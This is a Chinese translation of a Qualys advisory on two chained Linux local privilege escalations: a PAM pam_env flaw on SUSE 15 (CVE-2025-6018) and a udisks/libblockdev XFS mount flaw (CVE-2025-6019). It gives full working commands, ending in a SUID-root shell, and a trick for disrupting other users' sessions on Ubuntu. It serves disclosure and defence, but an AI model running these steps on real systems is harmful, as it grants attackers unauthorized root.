【翻译】CVE-2025-6019 LPE from allow_active to root in libblockdev via udisks
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
Qualys 安全公告
CVE-2025-6018: 从非特权用户到 allow_active 的本地提权漏洞 (LPE)
CVE-2025-6019: 从 allow_active 到 root 的本地提权漏洞 (LPE)
目录
摘要 CVE-2025-6018: 在 SUSE 15 的 PAM 中从非特权用户到 allow_active 的本地提权漏洞 (LPE)
-
分析 -
漏洞验证 -
补充说明 CVE-2025-6019: 通过 libblockdev 和 udisks 从 allow_active 到 root 的本地提权漏洞 (LPE) -
分析 -
漏洞验证 致谢 时间线
摘要
我们在 openSUSE Leap 15 和 SUSE Linux Enterprise 15 的 PAM 配置中发现了一个本地提权漏洞 (Local Privilege Escalation, LPE):一个非特权的本地攻击者(例如通过 sshd 登录的攻击者)可以获得物理 "allow_active" 用户的权限(即实际坐在计算机前的用户),从而可以执行所有通常为物理用户保留的 "allow_active yes" polkit 操作。
我们还发现了另一个存在于 libblockdev 中的 LPE 漏洞,可以通过默认安装在大多数 Linux 发行版上的 udisks 守护进程轻松利用:一个 "allow_active" 用户(例如物理用户,或劫持了物理用户会话的攻击者,或首先利用本公告中 CVE-2025-6018 等漏洞的攻击者)可以获得 root 用户的完整权限。
我们通常更倾向于从任何非特权用户到 root 的 LPE(而不是像本 CVE-2025-6019 这样从 "allow_active" 用户到 root 的 LPE),但是:
-
当与本公告中的第一个 LPE(CVE-2025-6018)结合使用时,这第二个 LPE(CVE-2025-6019)实际上允许非特权攻击者获得完整的 root 权限;
-
最近发布的几个高知名度漏洞也需要 "allow_active" 用户的权限才能成功利用;例如,Rory McNamara、Matthias Gerstner 和 Attila Szasz 的以下优秀分析:
https://snyk.io/blog/abusing-ubuntu-root-privilege-escalation/https://security.opensuse.org/2024/11/26/tuned-instance-create.htmlhttps://ssd-disclosure.com/ssd-advisory-linux-kernel-hfsplus-slab-out-of-bounds-write/
最后更新:2025 年 5 月 25 日,Pumpkin Chang 发表了一篇必读的关于 D-Bus 和 Polkit 的博客文章,该文章与本公告特别相关,因为它包含了一个技巧("滥用规则限制"),可以允许非特权的本地攻击者(例如通过 sshd 登录的攻击者)获得物理 "allow_active" 用户的权限;更多信息:
https://u1f383.github.io/linux/2025/05/25/dbus-and-polkit-introduction.html
CVE-2025-6018: 在 SUSE 15 的 PAM 中从非特权用户到 allow_active 的本地提权漏洞 (LPE)
分析
在我们最近对 OpenSSH 的研究中,我们注意到,当非特权用户通过 sshd 登录到 openSUSE Leap 15 或 SUSE Linux Enterprise 15 时:
-
PAM 的 pam_env 模块(来自 Linux-PAM 1.3.0)默认读取该用户的 ~/.pam_environment 文件(即 pam_env 的 "user_readenv" 配置选项默认值为 1);
-
pam_env 模块首先由 sshd 的 do_pam_setcred() 调用,作为 PAM 的 "auth" 堆栈的一部分(来自 /etc/pam.d/common-auth);
-
pam_systemd 模块随后由 sshd 的 do_pam_session() 调用,作为 PAM 的 "session" 堆栈的一部分(来自 /etc/pam.d/common-session)。
因此,通过 sshd 登录的非特权攻击者可以强制 pam_env 模块将任意变量添加到 PAM 的环境中(首先将它们写入 ~/.pam_environment),然后这些变量通过 pam_getenv() 返回给 pam_systemd 模块。特别是,pam_systemd 模块会调用 pam_getenv() 来获取 XDG_SEAT 和 XDG_VTNR 变量,这立即让我们想起了 Jann Horn 在 systemd 中的优秀漏洞 CVE-2019-3842:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1812316
简而言之,通过在 ~/.pam_environment 中设置 XDG_SEAT=seat0 和 XDG_VTNR=1,通过 sshd 登录到 openSUSE Leap 15 或 SUSE Linux Enterprise 15 的非特权攻击者可以假装他们实际上是坐在计算机前的物理用户;即,用 polkit 的术语来说,是一个 "allow_active" 用户。
漏洞验证
作为具体结果,这样的攻击者可以执行所有通常为物理用户保留的 "allow_active yes" polkit 操作。例如,在以下漏洞验证中,攻击者调用 systemd-logind 的 CanReboot() 方法来确定他们是否被认证为非特权的 "allow_any" 用户(CanReboot() 返回 "challenge")或物理的 "allow_active" 用户(CanReboot() 返回 "yes"):
attacker# ssh -i id_ed25519 nobody@victim
victim> grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="openSUSE Leap 15.6"
victim> id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
victim> cat /usr/share/polkit-1/actions/org.freedesktop.login1.policy
...xml
<action id="org.freedesktop.login1.reboot">
<description gettext-domain="systemd">Reboot the system</description>
...
<allow_any>auth_admin_keep</allow_any>
<allow_inactive>auth_admin_keep</allow_inactive>
<allow_active>yes</allow_active>
...
victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method
org.freedesktop.login1.Manager.CanReboot
('challenge',)
victim> { echo 'XDG_SEAT OVERRIDE=seat0'; echo 'XDG_VTNR OVERRIDE=1'; } > .pam_environment
victim> exit
attacker# ssh -i id_ed25519 nobody@victim
victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method
org.freedesktop.login1.Manager.CanReboot
('yes',)
最后补充说明:SUSE Linux Enterprise Server 15 使用的是 "restrictive"(限制性)polkit 设置,而不是 "standard"(标准)设置;因此,我们必须调用 CanSuspend()(其设置为 "auth_admin_keep:auth_admin_keep:yes")而不是 CanReboot()(其设置为 "auth_admin_keep")来确定我们是否被认证为物理的 "allow_active" 用户。
我们将在本公告的下一节中探讨一种简单的方法,将这个小的本地权限提升(LPE,从非特权用户到 "allow_active" 用户)转化为完整的 root 权限提升(LPE);但在此之前,我们先做一个简短的插叙。
插叙
在 Debian 12 和 Ubuntu 24.04 上,当非特权用户通过 sshd 登录时,PAM 的 pam_env 模块(来自 Linux-PAM 1.5.x)也会读取该用户的 ~/.pam_environment 文件,因为 pam_env 的 "user_readenv" 在 /etc/pam.d/sshd 中被显式设置为 1(自 Linux-PAM 1.4.0 以来,默认值为 0)。
然而,与 openSUSE Leap 和 SUSE Linux Enterprise 不同,Debian 和 Ubuntu 只在 PAM 的 "session" 堆栈的最后调用 pam_env 模块,因此该用户的任意 PAM 变量(来自 ~/.pam_environment)不会干扰 pam_systemd 模块的 pam_sm_open_session() 代码。
尽管如此,我们注意到,通过设置 XDG_SESSION_ID 变量(在 ~/.pam_environment 中)为另一个用户的会话 ID,非特权的本地攻击者可以干扰 pam_systemd 模块的 pam_sm_close_session() 代码,从而干扰该其他用户的会话(例如,将其标记为 "closing" 而不是 "active",并删除其 .ref FIFO):
ssh evey@victim
evey@victim's password:
victim$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Ubuntu 24.04.2 LTS"
victim$ id
uid=1001(evey) gid=1001(evey) groups=1001(evey),100(users)
victim$ ls -l /run/systemd/sessions
total 8
-rw-r--r-- 1 root root 314 May 13 21:25 4
prw------- 1 root root 0 May 13 21:25 4.ref
-rw-r--r-- 1 root root 310 May 13 21:33 6
prw------- 1 root root 0 May 13 21:33 6.ref
victim$ cat /run/systemd/sessions/4
# This is private data. Do not parse
UID=1000
USER=theadmin
...
STATE=active
...
FIFO=/run/systemd/sessions/4.ref
...
victim$ echo 'XDG_SESSION_ID OVERRIDE=4' > .pam_environment
victim$ exit
attacker$ ssh evey@victim
evey@victim's password:
victim$ exit
attacker$ ssh evey@victim
evey@victim's password:
victim$ ls -l /run/systemd/sessions
total 8
-rw-r--r-- 1 root root 313 May 13 22:13 16
prw------- 1 root root 0 May 13 22:13 16.ref
-rw-r--r-- 1 root root 315 May 13 22:04 4
victim$ cat /run/systemd/sessions/4
# This is private data. Do not parse
UID=1000
USER=theadmin
...
STATE=closing
...
TTY=pts/0
TTY_VALIDITY=from-utmp
...
我们未能将这种对 pam_systemd 的 pam_sm_close_session() 的干扰转化为 LPE(本地提权漏洞),但也许更有创造力的研究者能够做到。无论如何,我们建议所有 Linux 发行版明确将 pam_env 的 "user_readenv" 设置为 0(如果默认值不是 0);事实上,正如最新版本的 pam_env 手册页中所强调的:
user_readenv=0|1
开启或关闭读取用户特定环境文件。0 表示关闭,1 表示开启。默认情况下此选项为关闭,因为用户在 PAM 环境中提供的环境变量可能会影响后续模块的行为,而无需系统管理员的同意。
由于存在安全风险,此功能自 1.5.0 版本起已被弃用,并将在未来某个时间点完全移除
CVE-2025-6019: 通过 libblockdev 和 udisks 实现从 allow_active 到 root 的 LPE
分析
凭借我们发现的"从非特权用户到 allow_active"的 LPE,我们自然决定寻找"从 allow_active 到 root"的 LPE,因此我们使用 grep 搜索了包含 "allow_active yes" 的 polkit 操作:
victim> grep -rl 'allow_active.*yes' /usr/share/polkit-1/actions
/usr/share/polkit-1/actions/org.freedesktop.login1.policy
/usr/share/polkit-1/actions/org.freedesktop.ModemManager1.policy
/usr/share/polkit-1/actions/org.freedesktop.NetworkManager.policy
/usr/share/polkit-1/actions/com.redhat.tuned.policy
/usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.desktop.policy.choice
/usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.server.policy.choice
/usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
作为文件系统和竞争条件的爱好者,我们决定将目标锁定在 udisks 守护进程上。该守护进程默认安装在大多数 Linux 发行版中,并允许 "allow_active" 用户执行以下操作:
-
设置一个由该用户提供的任意文件系统镜像支持的 loop 设备; -
挂载这个任意的 loop 设备支持的文件系统。
为了防止 "allow_active" 用户通过在其文件系统镜像中植入 SUID-root 程序或特殊设备来轻易提升权限至 root,udisks 守护进程始终使用 nosuid 和 nodev 标志挂载此类文件系统。
我们最初的想法是诱使 udisks 守护进程在没有 nosuid 和 nodev 标志的情况下挂载 loop 设备支持的文件系统,因为这些标志在最终到达内核之前会经过多个复杂代码层的处理,每一层对这些挂载标志和选项的解析和转义方式都不同。例如,通过 udisks 挂载 ntfs-3g 文件系统时,这些标志和选项会经历以下过程:
-
首先由 udisks 守护进程本身解析; -
然后传递给 libblockdev 并重新解析; -
接着传递给 libmount 并重新解析; -
随后传递给 ntfs-3g 程序并重新解析; -
再传递给 ntfs-3g 内部的 libfuse 并重新解析; -
最后传递给内核并重新解析。
然而,在阅读 udisks 和 libblockdev 的代码时,我们发现了一个更简单的 LPE(本地提权漏洞):自 2017 年以来,udisks 守护进程允许 "allow_active" 用户调整其文件系统的大小;在调整 XFS 文件系统大小时(通过默认安装在大多数 Linux 发行版上的 xfs_growfs 程序),udisks 守护进程会调用 libblockdev,后者会将该 XFS 文件系统临时挂载到 /tmp 目录下(如果尚未在其他位置挂载),但没有使用 nosuid 和 nodev 标志。
因此,"allow_active" 攻击者可以简单地设置一个由任意 XFS 镜像(包含 SUID-root shell)支持的 loop 设备,然后请求 udisks 守护进程调整该 XFS 文件系统的大小(这会在 /tmp 目录下挂载该文件系统,没有使用 nosuid 和 nodev 标志),最后执行其 XFS 文件系统中的 SUID-root shell,从而获得完整的 root 权限。
漏洞验证
1/ 在我们的攻击机器上,以 root 身份创建一个包含 SUID-root shell 的 XFS 镜像,并将其复制到目标机器:
dd if=/dev/zero of=./xfs.image bs=1M count=300
attacker# mkfs.xfs ./xfs.image
attacker# mkdir ./xfs.mount
attacker# mount -t xfs ./xfs.image ./xfs.mount
attacker# cp /bin/bash ./xfs.mount
attacker# chmod 04555 ./xfs.mount/bash
attacker# umount ./xfs.mount
attacker# scp -i id_ed25519 ./xfs.image nobody@victim:
2/ 我们登录目标机器,并确保已认证为 "allow_active" 用户(如果尚未认证,可能需要先利用本公告中的另一个 LPE 漏洞,例如 CVE-2025-6018):
attacker# ssh -i id_ed25519 nobody@victim
victim> grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="openSUSE Leap 15.6"
victim> id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method
org.freedesktop.login1.Manager.CanReboot
('yes',)
3/ 我们设置一个由 XFS 镜像文件支持的 loop 设备,但首先确保 "gvfs-udisks2-volume-monitor" 没有以当前用户身份运行 (否则它会自动挂载我们的 XFS 文件系统,从而阻止 libblockdev 稍后自行挂载):
victim> killall -KILL gvfs-udisks2-volume-monitor
victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction
Mapped file ./xfs.image as /dev/loop0.
4/ 我们请求 udisks 守护进程调整 XFS 文件系统的大小,这将强制 libblockdev 在 /tmp 目录下挂载该文件系统而不使用 nosuid 和 nodev 标志。但在此之前,我们先运行一个紧密循环来保持 XFS 文件系统处于忙碌状态,从而防止 libblockdev 稍后将其卸载:
victim> while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
victim> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount
'/dev/loop0' after resizing it: target is busy
-r-sr-xr-x. 1 root root 1406608 May 13 09:42 /tmp/blockdev.RSM842/bash
5/ 最后,我们执行位于 /tmp 目录下 XFS 文件系统中的 SUID-root shell,从而获得完整的 root 权限:
victim> mount
...
/dev/loop0 on /tmp/blockdev.RSM842 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)
victim> /tmp/blockdev*/bash -p
victim# id
uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody)
^^^^^^^^^^^^
致谢
我们感谢 SUSE(特别是 Alexander Bergmann、Thomas Blume、Valentin Lefebvre)和 Red Hat(特别是 Patrick Del Bello、Marco Benatto、Tomas Bzatek)对本版本的工作。我们也感谢 linux-distros@openwall 的成员(特别是 Salvatore Bonaccorso 和 Nick Tait)对本版本的帮助。
最后,我们感谢 Gergely Kalman 提供的以下启发性的演讲:
https://gergelykalman.com/the-forgotten-art-of-filesystem-magic-alligatorcon-2024-slides.html
时间线
2025-05-14: 我们将安全公告草案发送给 SUSE (security@suse) 和 Red Hat (secalert@redhat)。
2025-06-09: 我们将安全公告草案以及 SUSE 和 Red Hat 的补丁发送给 linux-distros@openwall。
2025-06-17: 协调发布日期(16:00 UTC)。
原文始发于微信公众号(securitainment):CVE-2025-6019: 从 allow_active 到 root 的本地提权漏洞 (LPE)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论